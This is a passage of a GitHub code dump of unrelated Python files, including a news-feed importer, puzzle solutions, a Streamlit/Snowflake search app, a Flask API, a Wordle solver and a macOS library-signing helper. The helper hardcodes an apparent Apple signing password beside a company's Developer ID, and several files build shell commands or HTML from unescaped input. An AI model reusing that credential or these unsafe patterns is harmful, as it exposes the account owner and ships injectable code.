'{file_path}' file, please check and fix it or choose the correct one.\")\n\n\nclass ReadFromXML(Publication):\n    def __init__(self):\n        super().__init__()\n        self.default_xml_filename = 'XMLForImport.xml'\n\n    def read_xml(self):\n        file_path = input(\n            f\"Please provide XML file path and filename or press 'Enter' to use the default filename ({self.default_xml_filename}): \")\n        if not file_path:\n            file_path = self.default_xml_filename\n\n        try:\n            tree = ET.parse(file_path)\n            root = tree.getroot()\n            num_rows = input(\"Please enter the number of rows to import (or press 'Enter' for all rows): \")\n            records = root.findall('record')\n            if num_rows:\n                records = records[:int(num_rows)]\n            for record in records:\n                record_type = record.find('type').text.lower()\n                record_body = norm(record.find('body').text).get_normalized_text()\n                if record_type == 'news':\n                    news = AddNews()\n                    news.get_publication_body(text=record_body)\n                    news.get_city_and_cur_date(text=record.find('location').text)\n                    news.write()\n                elif record_type == 'adv':\n                    adv = AddAdvertisement()\n                    adv.get_publication_body(text=record_body)\n                    date = str(record.find('date').text)\n                    adv.adv_calc(date)\n                    adv.write()\n                elif record_type == 'promocode':\n                    promocode = AddPromoCode()\n                    promocode.get_publication_body(text=record_body)\n                    valid_days = str(record.find('valid_days').text)\n                    promocode.promo_code_calc(valid_days)\n                    promocode.write()\n                else:\n                    print(f\"Invalid record: {record}\")\n            os.remove(file_path)  # delete file after reading or comment to disable the delete function\n        except IOError:\n            print(\"Error reading file\")\n        except AttributeError:\n            print(\n                f\"Something wrong with '{file_path}' file structure, please check and fix it or choose the correct one.\")\n        except ET.ParseError:\n            print(f\"Something wrong with '{file_path}' file, please check and fix it or choose the correct one.\")\n\n\nclass Main:\n    def __init__(self):\n        self.main_message = 'Please choose publication variant:\\n1 - for %s\\n2 - for %s\\n3 - for %s\\n4 - to %s\\n5 - to %s' % \\\n                            ('NEWS', 'ADVERTISEMENT', 'PROMOCODE', 'ADD FROM FILE', 'FINISH PROGRAM')\n        self.error_message = 'Please make correct choice'\n        self.date_error_message = 'Program will be aborted - please enter correct date next time\\n'\n        self.add_from_file_message = 'Please choose file format:\\n1 - TXT\\n2 - JSON\\n3 - XML'\n        pass\n\n    def text_feed_add(self):\n        textanalyzer = TextAnalyzer()\n        print(self.main_message)\n        choice = input()\n        if choice == '1':\n            news = AddNews()\n            news.get_publication_body()\n            news.get_city_and_cur_date()\n            news.write()\n            self.text_feed_add()\n        elif choice == '2':\n            adv = AddAdvertisement()\n            adv.get_publication_body()\n            try:\n                adv.adv_calc()\n                adv.write()\n            except ValueError:\n                print(self.date_error_message)\n            finally:\n                self.text_feed_add()\n        elif choice == '3':\n            promocode = AddPromoCode()\n            promocode.get_publication_body()\n            try:\n                promocode.promo_code_calc()\n                promocode.write()\n            except ValueError:\n                print(self.date_error_message)\n            finally:\n                self.text_feed_add()\n        elif choice == '4':\n            print(self.add_from_file_message)\n            file_choice = input()\n            if file_choice == '1':\n                addfromfile = ReadFromFile()\n                addfromfile.read_file()\n            elif file_choice == '2':\n                addfromjson = ReadFromJSON()\n                addfromjson.read_json()\n            elif file_choice == '3':\n                addfromxml = ReadFromXML()\n                addfromxml.read_xml()\n            else:\n                print(self.error_message)\n            self.text_feed_add()\n        elif choice == '5':\n            return\n        else:\n            print(self.error_message)\n            self.text_feed_add()\n        textanalyzer.write_csv()\n\n\nif __name__ == \"__main__\":\n    Main().text_feed_add()\n","repo_name":"outlander85/Python-for-DQE5","sub_path":"Task #10.py","file_name":"Task #10.py","file_ext":"py","file_size_in_byte":18718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8099176056","text":"def main():\n  with open('input.txt', 'r') as f:\n    nums = f.readlines()\n    sums = []\n    sum = 0\n    for num in nums:\n      if num != '\\n':\n        sum += int(num)\n      else:\n        sums.append(sum)\n        sum = 0\n    print(max(sums))\n\nif __name__ == \"__main__\":\n  main()","repo_name":"JosiahStephens/Advent-Of-Code-2022","sub_path":"1/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73260249657","text":"from collections import deque\nimport sys\n\nN = int(input())\narr = deque([[] for _ in range(N)])\nfor i in range(N):\n    arr[i] = list(sys.stdin.readline().rstrip())\n\nvisited = [[False for _ in range(N)] for _ in range(N)]\nanswer = []\n\ndef BFS(start):\n    cnt = 1\n    q = deque([start])\n    visited[start[0]][start[1]] = True\n    while q:\n        x, y = q.popleft()\n        for adj_x, adj_y in [(x+1, y), (x-1, y), (x, y+1), (x, y-1)]:\n            if adj_x >= 0 and adj_x < N and adj_y >= 0 and adj_y < N:\n                if visited[adj_x][adj_y]==False and arr[adj_x][adj_y]==\"1\":\n                    q.append((adj_x, adj_y))\n                    visited[adj_x][adj_y]=True\n                    cnt+=1\n    answer.append(cnt)\n\nstart = (0, 0)\nfor i in range(N):\n    for j in range(N):\n        if visited[i][j]==False and arr[i][j]==\"1\":\n            BFS((i, j))\n\nprint(len(answer))\nanswer.sort()\nfor ans in answer:\n    print(ans)","repo_name":"helloalpaca/algorithm","sub_path":"baekjoon/2667.py","file_name":"2667.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41830164922","text":"# Streamlit libraries.\nimport streamlit as st\nimport streamlit.components.v1 as components\n\n# Database connection library.\nimport snowflake.connector\n\n\n# Data manipulation libraries.\nimport pandas as pd\nimport numpy as np\n\n# Some misc libraries.\nimport datetime\nimport requests\n\n\n# Title of the webpage.\nst.title('Prototype: Explore edX Videos')\n\n\n# Connect to Snowflake.\nctx = snowflake.connector.connect(\n    user=st.secrets['DB_USERNAME'],\n    password=st.secrets['DB_TOKEN'],\n    account=st.secrets['info']['account'],\n    warehouse=st.secrets['info']['warehouse'],\n    database=st.secrets['info']['database'],\n    role=st.secrets['info']['role'],\n        )\n\ncur = ctx.cursor()\n\n# Prepare for fetching data.\nsql = \"\"\"select * from user_data.nrobertson.streamlit_video_data\"\"\"\ncols = ['subject_name', 'course_key', 'courserun_key', 'display_name',\n       'num_views', 'transcript_link', 'video_link', 'video_length_seconds',\n       'video_transcript', 'partner', 'course_title', 'course_url',\n       'image_url']\n\n# Fetch data. Cache it so that it doesn't re-run everytime \n# you type something new in search.\n@st.cache\ndef run_query(query=sql, columns=cols,replace=False):\n    if replace!=False:\n        query = query.replace('_____',replace)\n        \n    cur.execute(query)\n    results = cur.fetchall()\n    \n    if len(results) > 0:\n        arr = np.array(results)\n        df = pd.DataFrame(arr, columns=columns)\n        return df\n    \n    else:\n        df = pd.DataFrame()\n        return df\n\n# Save fetched data in df.\ndf = run_query().sort_values(by='num_views',ascending=False)\n\n# A short description on what the page is.\nst.write(\"\"\"\n\tA proof-of-concept prototype allowing a user to explore **{}** videos indexed from currently running edX courses.\n\tThe search algorithm and search experience are rudimentary. It's minimally designed to allow someone to explore our videos.\n\t\"\"\".format(len(df)))\n\n\n# A few (very lazily written) text styling functions. These could be easily\n# condensed into one function if I bothered with regex.\ndef bold_words(string, search_term):\n\tresult = ''\n\tfor term in string.split():\n\t\tif term.lower() in search_term.lower().split():\n\t\t\tresult += '<b><i><u>' + term + '</b></i></u> '\n\t\telse:\n\t\t\tresult += term + ' '\t\n\n\treturn result\n\ndef period_breaks(string):\n\tresult = ''\n\tfor term in string.split('.'):\n\t\tresult += term + '.<br><br>'\n\treturn result[:-9]\n\ndef question_breaks(string):\n\tresult = ''\n\tfor term in string.split('?'):\n\t\tresult += term + '?<br><br>'\n\treturn result[:-9]\n\ndef exclamation_breaks(string):\n\tresult = ''\n\tfor term in string.split('!'):\n\t\tresult += term + '!<br><br>'\n\treturn result[:-9]\n\n# Where the user puts in their search term.\nsearch_term = st.text_input(label='Enter search term here', value='data science')\n\n# Search for a match on the search term in either the video's name or transcript.\nif search_term:\n\tmask1 = df['display_name'].str.contains(search_term, case=False, na=False)\n\tmask2 = df['video_transcript'].str.contains(search_term, case=False, na=False)\n\t\n\t# Report how many videos found.\n\tst.header('{} results found.'.format(len(df[(mask1) | (mask2)])))\n\n\tst.write('Results sorted in descending order by most views.')\n\n\t# Print out each video, with a little context.\n\tcount = 0\n\tfor i, row in df[(mask1) | (mask2)].iterrows():\n\n\t\t# Pretty print video length.\n\t\tlength = row['video_length_seconds']\n\t\tlength = str(datetime.timedelta(seconds=length))\n\n\t\tcount += 1\n\n\t\tcol1, col2 = st.columns([1,3])\n\n\t\t# Col1 has context about the course.\n\t\twith col1:\n\t\t\t# Course image.\n\t\t\tst.image(row['image_url'], use_column_width=True)\n\t\t\t# Short description.\n\t\t\tst.write(\"\"\"_This video is part of {}'s course '{}'._\"\"\".format(row['partner'], row['course_title']))\n\t\t\t# Button to take you to course about page.\n\t\t\tst.write('''\n\t\t\t\t<head>\n\t\t\t    <a target=\"_blank\" href=\"{}\">\n\t\t\t        <button style=\"color:D23227;background-color:#FFFFFF\";border-color:#D23227>\n\t\t\t            See the course\n\t\t\t        </button>\n\t\t\t    </a>\n\t\t\t    '''.format(row['course_url']),\n\t\t\t    unsafe_allow_html=True\n\t\t\t)\n\n\t\t# Col2 has context about the video.\n\t\twith col2:\n\t\t\t# Video name.\n\t\t\tst.subheader('{}: {}'.format(count, row['display_name']))\n\t\t\t# Couple of video data points.\n\t\t\tst.text('est length: {} | views: {}'.format(length,row['num_views']))\n\t\t\t# Button to take you to the video.\n\t\t\tst.write('''\n\t\t\t\t<head>\n\t\t\t    <a target=\"_blank\" href=\"{}\">\n\t\t\t        <button style=\"color:white;background-color:#D23227\";border-color:#D23227>\n\t\t\t            See Video on edX\n\t\t\t        </button>\n\t\t\t    </a>\n\t\t\t    '''.format(row['video_link']),\n\t\t\t    unsafe_allow_html=True\n\t\t\t)\n\t\t\tst.markdown('\\n')\n\t\t\t# Print the tidy/pretty printed/scrollable transcript.\n\t\t\tst.markdown('**Transcript**')\n\t\t\ttranscript = '{}'.format(str(row[\"display_name\"]) +': <br><br>' + str(row['video_transcript']))\n\t\t\ttranscript = bold_words(transcript, search_term=search_term)\n\t\t\ttranscript = period_breaks(transcript)\n\t\t\ttranscript = exclamation_breaks(transcript)\n\t\t\ttranscript = question_breaks(transcript)\n\t\t\ttranscript = '<style>:root {background-color: #F2F0EF;}</style>' + transcript\n\t\t\tcomponents.html(transcript, height=300, scrolling=True)\n\n\n","repo_name":"nrobertson1992/video-search-and-explore","sub_path":"streamlit_video_explore.py","file_name":"streamlit_video_explore.py","file_ext":"py","file_size_in_byte":5173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28838161542","text":"from unittest import TestCase\n\nfrom character.Vice import Vice\n\n\nclass TestVice(TestCase):\n\n    def setUp(self) -> None:\n        self.vice1 = Vice(\"pleasure\",\n                          \"Gratification from lovers, food, drink, drugs, art, theater, ecc.\",\n                          \"Lady Freyla, the Emperor’s Cask, bar, Whitecrown\")\n        self.vice2 = Vice(\"gambling\",\n                          \"You crave games of chance, betting on sporting events, etc.\")\n\n    def test_add_purveyor(self):\n        self.vice2.add_purveyor(\"Spogg’s dice game, Crow’s Foot\")\n        self.assertEqual(\"Spogg’s dice game, Crow’s Foot\", self.vice2.purveyor)\n\n    def test_remove_purveyor(self):\n        self.vice1.remove_purveyor()\n        self.assertIsNone(self.vice1.purveyor)","repo_name":"Gabriele-Brenna/botBladesInTheDark","sub_path":"test/test_Vice.py","file_name":"test_Vice.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"26807959275","text":"from flask import Flask, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nimport mysql.connector as mysql\nfrom flask_json import json_response\n\n#from flask_mysqldb import MySQL\n\n\napp = Flask(__name__)\n\n\n#app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+mysqlconnector://root:root@db/netflix'\n\n\ndb = mysql.connect(\n    host = \"db\", # would be localhost if not running in docker\n    user = \"root\",\n    passwd = \"root\",\n    db = \"netflix\"\n)\n\n\n@app.route('/api/get-data', methods=['GET'])\ndef response():\n    res = []\n    cur = db.cursor()\n    query = 'select * from netflix where release_year = 2000'\n    cur.execute(query)\n    result = cur.fetchall()\n    for m in result:\n        res.append(m)\n    return jsonify(res)\n\n\n@app.route('/api/all', methods=['GET'])\ndef all():\n    resall = []\n    cur = db.cursor()\n    q = 'select * from netflix'\n    cur.execute(q)\n    qres = cur.fetchall()\n    for m in qres:\n        resall.append(m)\n    return jsonify(resall)\n\n","repo_name":"razz7/python_handin","sub_path":"week_8_api.py","file_name":"week_8_api.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33858898510","text":"from django.urls import path\r\n\r\nfrom . import views\r\n\r\napp_name = 'blog'\r\n\r\nurlpatterns = [\r\n\tpath('', views.index, name='index'),\r\n\tpath('<int:post_id>/detail', views.detail, name='detail'),\r\n\tpath('<int:post_id>/add_comment/', views.add_comment, name='add_comment'),\r\n\tpath('<int:post_id>/add_like/', views.add_like, name='add_like'),\r\n\tpath('pages', views.other_pages, name='other_pages'),\r\n\tpath('movies', views.movies, name='movies'),\r\n\tpath('conversations', views.conversations, name='conversations'),\r\n\tpath('doodles', views.doodles, name='doodles'),\r\n\tpath('videos', views.videos, name='videos'),\r\n\tpath('shuffle', views.shuffle, name='shuffle'),\r\n\tpath('search_site/', views.search_site, name='search_site'),\r\n]","repo_name":"ShaikHameed/upload-two","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1746870265","text":"from wordle_funcs import *\nimport colored\nimport sys\nimport time\n\ndef main():\n    # Get the word list\n    answer_list = get_answer_list()\n    guess_list = get_guess_list()\n\n    # Colors for printing\n    green = colored.bg('green')\n    yellow = colored.bg('yellow')\n    black = colored.bg('black')\n    reset = colored.attr('reset')\n\n    hide_words = False\n    try:\n        if sys.argv[1] == \"--hide-words\":\n            hide_words = True\n            print(\"Hidden words mode is on!\")\n    except IndexError:\n        pass\n\n    # Print introduction\n    print(\"Welcome to Wordle Solve 4.0!\")\n    try:\n        with open('.suppress_changelog', 'r') as _:\n            pass\n    except FileNotFoundError:\n        print(\"===Changes in 4.0\")\n        print(\" * Allows correct WORDLE word to be entered\")\n        print(\" * Colors are autofilled if correct WORDLE word was entered\")\n        print(\" * Shows best next guesses if WORDLE word was entered\")\n        print(\" * Shows mean, median, best, worst guesses compared to previous guess\")\n        print(\" * Minor coloring changes\")\n        print(\"===Changes in 3.0\")\n        print(\" * Fixed duplicate letters not being used in analysis\")\n        print(\" * Uses more accurate word lists from wordle source\")\n        print(\" * Remaining words display in a grid\")\n        print(\" * Number of remaining words now color coded\")\n\n    # List of guesses that have been made\n    guesses = []\n    # List of colors that resulted from the guesses\n    colors_list = []\n    # Store yes/no user input\n    check = \"\"\n\n    '''\n    4.1 IDEA:\n    Tell the user what percentile their most recent guess was.\n    This would require analyzing all guesses (maybe just WORDLE words for speed) and calculating.\n    Also, try to optimize the algorithm to increase speed.\n\n    4.0 UPDATES\n    PROGRAM LOOP:\n    1. Enter correct WORDLE word first\n\n    ====\n    2. Type in a guess\n        - list how many words are left after that guess\n        - list a breakdown of other guesses that would have been good also\n        - list the percentile that your guess was out of possible guesses\n    3. This can repeat with multiple guesses. No need to enter colors (the program already\n       knows the colors because it knows the correct WORDLE word).\n    ====\n    '''\n\n    # Get the correct WORDLE word\n    correct_word = \"\"\n    print()\n    correct_word = input(\"Enter the correct WORDLE word here: \")\n    while True:\n        if correct_word == \"\":\n            print(\"Proceeding with unknown WORDLE word...\")\n            break\n\n        if len(correct_word) != 5:\n            print(f\"{colored.fg('red')}Error, {correct_word} is {len(correct_word)} letters long. Must be 5.{colored.attr('reset')}\")\n            correct_word = input(\"Try again: \")\n            continue\n\n        if correct_word not in answer_list:\n            check = input(f\"{colored.fg('red')}The word {correct_word} does not appear in the answer list. Enter 'yes' to override: {colored.attr('reset')}\") \n            \n            if check == 'yes':\n                break\n            else:\n                correct_word = input(\"Try again: \")\n                continue\n        break\n\n    #\n    # Guess loop\n    #\n    print(\"\\nWe'll start by having you write the guesses that you have done so far.\")\n    while True:\n        # Fill in the guesses list while making sure the user enters valid input\n        while True:\n            word = input(f\"{colored.fg('yellow')}Guess #{len(guesses)+1}: {colored.attr('reset')}\")\n\n            if word == \"\":\n                break\n\n            if len(word) != 5:\n                print(\"Each guess must be five letters. Input not counted.\")\n                continue\n\n            if word not in guess_list:\n                check = input(f\"That's likely not a valid WORDLE guess. Type '{colored.fg('green')}yes{colored.attr('reset')}' if you are sure you made this guess: \")\n                \n                if check != \"yes\":\n                    continue\n\n            guesses.append(word);\n            if correct_word != \"\":\n                colors_list.append(''.join(gen_colors(word, correct_word)))\n\n        print(\"\\nNice! Now we'll record the colors that resulted from those guesses.\")\n\n        # Fill in the colors list while making sure the user enters valid input\n        # depecrated\n        if correct_word == \"\":\n            colors = \"\"\n            while len(colors_list) != len(guesses):\n                colors = input(f\"Colors from guess #{len(colors_list)+1}: \")\n                colors = colors.lower()\n\n                if len(colors) != 5:\n                    print(\"Sorry, all inputs must be five letters. Input not counted.\")\n                    continue\n\n                correct = True\n                for char in colors:\n                    if char != \"y\" and char != \"g\" and char != \"b\":\n                        print(f\"Sorry, there is an invalid character. Input not counted.\")\n                        correct = False\n                        break\n\n                if not correct:\n                    continue\n\n                colors_list.append(colors)\n\n        # Print the wordle guesses and colors\n        print(\"\\nAlright. Just to confirm, here's what you entered:\")\n        i = 0\n        while i < len(guesses):\n            for index, char in enumerate(guesses[i]):\n                if colors_list[i][index] == 'b':\n                    print(black + char + reset, end=\"\")\n                elif colors_list[i][index] == 'y':\n                    print(yellow + char + reset, end=\"\")\n                elif colors_list[i][index] == 'g':\n                    print(green + char + reset, end=\"\")\n            print()\n            i += 1\n\n        stime = time.time()\n        narrowed_answers = []\n        exp_search = \"\"\n        for word in answer_list:\n            if is_valid_colors(guesses, colors_list, word):\n                narrowed_answers.append(word)\n\n        if len(narrowed_answers) == 0:\n            print(\"\\nThere are no valid wordle answers for your guesses. Expanding search to all valid English five letter words...\")\n            for word in guess_list:\n                if is_valid_colors(guesses, colors_list, word):\n                    narrowed_answers.append(word)\n            exp_search = colored.fg(\"magenta_2a\") + colored.bg(\"tan\") + \"[EXPANDED SEARCH]\" + colored.attr(\"reset\") + \" \"\n\n        if not hide_words:\n            i = 0\n            while i < len(narrowed_answers):\n                if i % 9 == 0:\n                    print()\n                print(narrowed_answers[i], end=\"     \")\n                i += 1\n\n        app_char = ''\n        verb = ''\n        if len(narrowed_answers) == 1:\n            app_char = ''\n            verb = 'is'\n        else:\n            app_char = 's'\n            verb = 'are'\n\n        if len(narrowed_answers) > 100:\n            print(colored.fg(\"red\") + f\"\\n{exp_search}There {verb} {len(narrowed_answers)} word{app_char} left.\" + colored.attr(\"reset\"))\n        elif len(narrowed_answers) > 30:\n            print(colored.fg(\"cyan\") + f\"\\n{exp_search}There {verb} {len(narrowed_answers)} word{app_char} left.\" + colored.attr(\"reset\"))\n        elif len(narrowed_answers) > 10:\n            print(colored.fg(\"yellow\") + f\"\\n{exp_search}There {verb} {len(narrowed_answers)} word{app_char} left.\" + colored.attr(\"reset\"))\n        else:\n            print(colored.fg(\"green\") + f\"\\n{exp_search}There {verb} {len(narrowed_answers)} word{app_char} left.\" + colored.attr(\"reset\"))\n\n        if colors_list[-1] == 'ggggg':\n            print(colored.fg(\"light_sea_green\") + \"\\nCongrats, looks like you solved it!\" + colored.attr(\"reset\"))\n            print(colored.fg(\"yellow\") + \"Good luck on your future WORDLEs.\" + colored.attr(\"reset\"))\n            break\n        # analysis of guess\n        if correct_word == \"\":\n            print(colored.fg(\"yellow\") + \"Enter the correct WORDLE word for guess analysis\" + colored.attr(\"reset\"))\n        elif hide_words == True:\n            print(\"Guess analysis not shown in hide word mode.\")\n        else:\n            print(colored.fg(\"sea_green_2\") + \"\\n* Last Guess Analysis *\" + colored.attr(\"reset\"))\n\n            last_guess = guesses.pop()\n            last_colors = colors_list.pop()\n\n            old_narrowed_answers = []\n            for word in answer_list:\n                if is_valid_colors(guesses, colors_list, word):\n                    old_narrowed_answers.append(word)\n\n            sorted_reasonable_guesses = []\n            for index, guess in enumerate(old_narrowed_answers):\n                display_prog(index, len(old_narrowed_answers))\n\n                sorted_reasonable_guesses.append((guess, get_words_remaining(guesses, colors_list, guess, correct_word, answer_list)))\n            wipe_prog()\n\n            sorted_reasonable_guesses.sort(key=lambda x: x[1])\n\n            total = 0\n            for elem in sorted_reasonable_guesses:\n                total += elem[1]\n\n            avg = total / len(sorted_reasonable_guesses)\n            median = sorted_reasonable_guesses[round(len(sorted_reasonable_guesses)/2)]\n            your_guess = len(narrowed_answers)\n\n            guesses.append(last_guess)\n            colors_list.append(last_colors)\n\n            if len(old_narrowed_answers) > 1:\n                print(f\" - There were {len(old_narrowed_answers)} guesses to choose from.\")\n            else:\n                print(f\" - There was {len(old_narrowed_answers)} guess to choose from.\")\n\n            print(f\"\\n - You guessed {colored.fg('sky_blue_2')}{last_guess}{colored.attr('reset')} and \\\nended up with {colored.fg('sky_blue_2')}{len(narrowed_answers)}{colored.attr('reset')} word(s) left.\")\n            print(f\" - The median guess was {colored.fg('sky_blue_2')}{median[0]}{colored.attr('reset')} which \\\nended up with {colored.fg('sky_blue_2')}{median[1]}{colored.attr('reset')} word(s) left.\")\n            print(f\" - The average guess ended up with {colored.fg('sky_blue_2')}{avg:.2f}{colored.attr('reset')} word(s) left.\")\n\n            print(f\"\\n - The best guess was {colored.fg('sky_blue_2')}{sorted_reasonable_guesses[0][0]}{colored.attr('reset')} which \\\nended up with {colored.fg('sky_blue_2')}{sorted_reasonable_guesses[0][1]}{colored.attr('reset')} word(s) left.\")\n            print(f\" - The worst guess was {colored.fg('sky_blue_2')}{sorted_reasonable_guesses[-1][0]}{colored.attr('reset')} which \\\nended up with {colored.fg('sky_blue_2')}{sorted_reasonable_guesses[-1][1]}{colored.attr('reset')} word(s) left.\")\n\n            print(colored.fg(\"sea_green_2\") + \"\\n* Best Next Guesses *\" + colored.attr(\"reset\"))\n\n            sorted_reasonable_guesses = []\n            for index, guess in enumerate(narrowed_answers):\n                display_prog(index, len(narrowed_answers))\n\n                sorted_reasonable_guesses.append((guess, get_words_remaining(guesses, colors_list, guess, correct_word, answer_list)))\n            wipe_prog()\n\n            sorted_reasonable_guesses.sort(key=lambda x: x[1])\n            narrowed_guesses = [elem for index, elem in enumerate(sorted_reasonable_guesses) if sorted_reasonable_guesses[index][1] == 1 or index < 5]\n            \n            num_worst = min(3, len(sorted_reasonable_guesses))\n            worst_guesses = [elem for elem in sorted_reasonable_guesses[num_worst*-1:] if elem not in narrowed_guesses]\n\n            median_guess = sorted_reasonable_guesses[round(len(sorted_reasonable_guesses)/2)]\n            median_guess_ind = sorted_reasonable_guesses.index(median_guess)\n\n            for i, elem in enumerate(narrowed_guesses):\n                if len(str(len(narrowed_guesses))) == 2:\n                    print(f\"{colored.fg('yellow')}{i+1:2}{colored.attr('reset')} {colored.fg('purple_1a')}->\\\n{colored.attr('reset')} {colored.fg('sky_blue_2')}{elem[0]}{colored.attr('reset')} (Narrows to {elem[1]})\")\n                elif len(str(len(narrowed_guesses))) == 3:\n                    print(f\"{colored.fg('yellow')}{i+1:3}{colored.attr('reset')} {colored.fg('purple_1a')}->\\\n{colored.attr('reset')} {colored.fg('sky_blue_2')}{elem[0]}{colored.attr('reset')} (Narrows to {elem[1]})\")\n                else:\n                    print(f\"{colored.fg('yellow')}{i+1}{colored.attr('reset')} {colored.fg('purple_1a')}->\\\n{colored.attr('reset')} {colored.fg('sky_blue_2')}{elem[0]}{colored.attr('reset')} (Narrows to {elem[1]})\")\n\n            if median_guess not in narrowed_guesses and median_guess not in worst_guesses:\n                print()\n                print(f\"{colored.fg('yellow')}{median_guess_ind+1}{colored.attr('reset')} {colored.fg('purple_1a')}->\\\n{colored.attr('reset')} {colored.fg('sky_blue_2')}{median_guess[0]}{colored.attr('reset')} (Narrows to {median_guess[1]})\")\n\n            if len(worst_guesses) != 0:\n                print()\n            else:\n                print(\"\\n(end of list)\")\n            \n            for elem in worst_guesses:\n                print(f\"{colored.fg('yellow')}{sorted_reasonable_guesses.index(elem)+1}{colored.attr('reset')} {colored.fg('purple_1a')}->\\\n{colored.attr('reset')} {colored.fg('sky_blue_2')}{elem[0]}{colored.attr('reset')} (Narrows to {elem[1]})\")\n\n\n        print(\"\\nEnter your next guess if you would like...\")\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"piperdaniel1/wordle-cli-tools","sub_path":"wordle4.py","file_name":"wordle4.py","file_ext":"py","file_size_in_byte":13176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37491224510","text":"import sys, os\nsys.path.append(os.getcwd())\nimport subprocess\n# import public_defines as PB\nfrom zwpy import zwutil\nimport re\n\ng_check_line_valid_list = [\"/System/Library/Frameworks/\", \"/usr/lib/\"]\n\nG_DeveloperIDApplication = \"Developer ID Application: Jiangsu Yunxuetang Network Technology  Co.,Ltd (6F8YPTA92C)\"\nG_DeveloperIDInstaller = \"Developer ID Installer: Jiangsu Yunxuetang Network Technology  Co.,Ltd (6F8YPTA92C)\"\nG_SIGN_PW = \"qyeh-djkd-kgbx-ooip\"\n\n\nclass LineInfo:\n    def __init__(self):\n        self.valid = False\n        self.lib_name = ''\n        self.lib_path = ''\n\n    def __str__(self):\n        return ('valid={},lib_name={},lib_path={}'.format(\n            self.valid, self.lib_name, self.lib_path))\n\n\nclass PathInfo:\n    def __init__(self, fp):\n        (file_path, file_name) = os.path.split(fp)\n        (shot_name, suffix) = os.path.splitext(file_name)\n        self.path = file_path\n        self.name = file_name\n        self.short_name = shot_name\n        self.subffix = suffix\n\n    def __str__(self):\n        return ('name={},short_name={},subffix={},path={}'.format(\n            self.subffix, self.name, self.short_name, self.path))\n\n\ndef parse_otool_line(line):\n    line_info = LineInfo()\n    index = line.find(' (compatibility')\n    if index >= 0:\n        line_info.lib_path = line[0:index]\n        line_info.valid = True\n        info = PathInfo(line_info.lib_path)\n        line_info.lib_name = info.name\n    return line_info\n\n\ndef isSystemPath(line):\n    for valid in g_check_line_valid_list:\n        if line.startswith(valid):\n            return True\n    return False\n\n\ndef getLibDeps(fp):\n    res = zwutil.run_cmd(\"otool -L \\\"{}\\\"\".format(fp))\n    lineList = res.split(\"\\n\")\n    dep_list = []\n    print('fp={}'.format(fp))\n    for line in lineList[1:]:\n        line = line.lstrip()\n        if line == '':\n            continue\n        if isSystemPath(line) and ('ssl' not in line\n                                   and 'libcrypto' not in line):\n            continue\n        dep_list.append(parse_otool_line(line))\n    return dep_list\n\n\ndef getLibRpaths(fp):\n    res = zwutil.run_cmd(\"otool -l \\\"{}\\\" |grep \\\"LC_RPATH\\\" -A2\".format(fp))\n    lineList = res.split(\"\\n\")\n    obj_list = []\n    # print('fp={}'.format(fp))\n    key = 'path '\n    for line in lineList[1:]:\n        line = line.lstrip()\n        if not line.startswith(key):\n            continue\n        # print('line={}'.format(line))\n        index = line.find(' (offset ')\n        if index >= 0:\n            obj_list.append(line[len(key):index])\n    return obj_list\n\n\ndef deleteRpath(fp, old):\n    os.system(\"install_name_tool -delete_rpath \\\"{}\\\" \\\"{}\\\"\".format(old, fp))\n\n\ndef addRpath(fp, new):\n    os.system(\"install_name_tool -add_rpath \\\"{}\\\" \\\"{}\\\"\".format(new, fp))\n\n\ndef getDefaultRpathList():\n    return ['@loader_path/', '@executable_path/']\n\n\ndef addDefaultRpath(fp):\n    for obj in getDefaultRpathList():\n        addRpath(fp, obj)\n\n\ndef resetRpath(fp):\n    obj_list = getLibRpaths(fp)\n    for obj in obj_list:\n        deleteRpath(fp, obj)\n\n    addDefaultRpath(fp)\n\n\ndef adjuestRapth(fp, new_list):\n    old_list = getLibRpaths(fp)\n    exists_list = []\n    for old in old_list:\n        if old in new_list:\n            exists_list.append(old)\n            continue\n        deleteRpath(fp, old)\n    for new in new_list:\n        if new in exists_list:\n            continue\n        addRpath(fp, new)\n\n\ndef changeDPath(fp, old, new):\n    cmd = \"install_name_tool -change \\\"{}\\\" \\\"{}\\\" \\\"{}\\\"\".format(old, new, fp)\n    print(\"cmd='{}'\".format(cmd))\n    os.system(cmd)\n\n\ndef copyD2D(dp, to_dp):\n    if not os.path.exists(dp):\n        print('dp={} is not exists'.format(dp))\n        return False\n\n    if not os.path.exists(to_dp):\n        print('to_dp={} is not exists'.format(to_dp))\n        return False\n\n    cmd = 'cp -R \\'{}\\' \\'{}\\''.format(dp, to_dp)\n    zwutil.run_cmd(cmd)\n    return True\n\n\ndef copyDFS2D(dp, to_dp):\n    if not os.path.exists(dp):\n        print('dp={} is not exists'.format(dp))\n        return False\n\n    if not os.path.exists(to_dp):\n        print('to_dp={} is not exists'.format(to_dp))\n        return False\n\n    cmd = 'cd \\'{}\\';cp -R ./* \\'{}\\''.format(dp, to_dp)\n    zwutil.run_cmd(cmd)\n    return True\n\n\ndef rename(dp, old_name, new_name):\n    check_p = joinPathWithRaise(dp, old_name)\n    cmd = 'cd \\'{}\\';mv \\'{}\\' \\'{}\\''.format(dp, old_name, new_name)\n    zwutil.run_cmd(cmd)\n    check_p = joinPathWithRaise(dp, new_name)\n\n\ndef deleteDP(dp, check=False):\n    if os.path.exists(dp):\n        cmd = \"rm -rf \\'{}\\'\".format(dp)\n        zwutil.run_cmd(cmd)\n    if check and os.path.exists(dp):\n    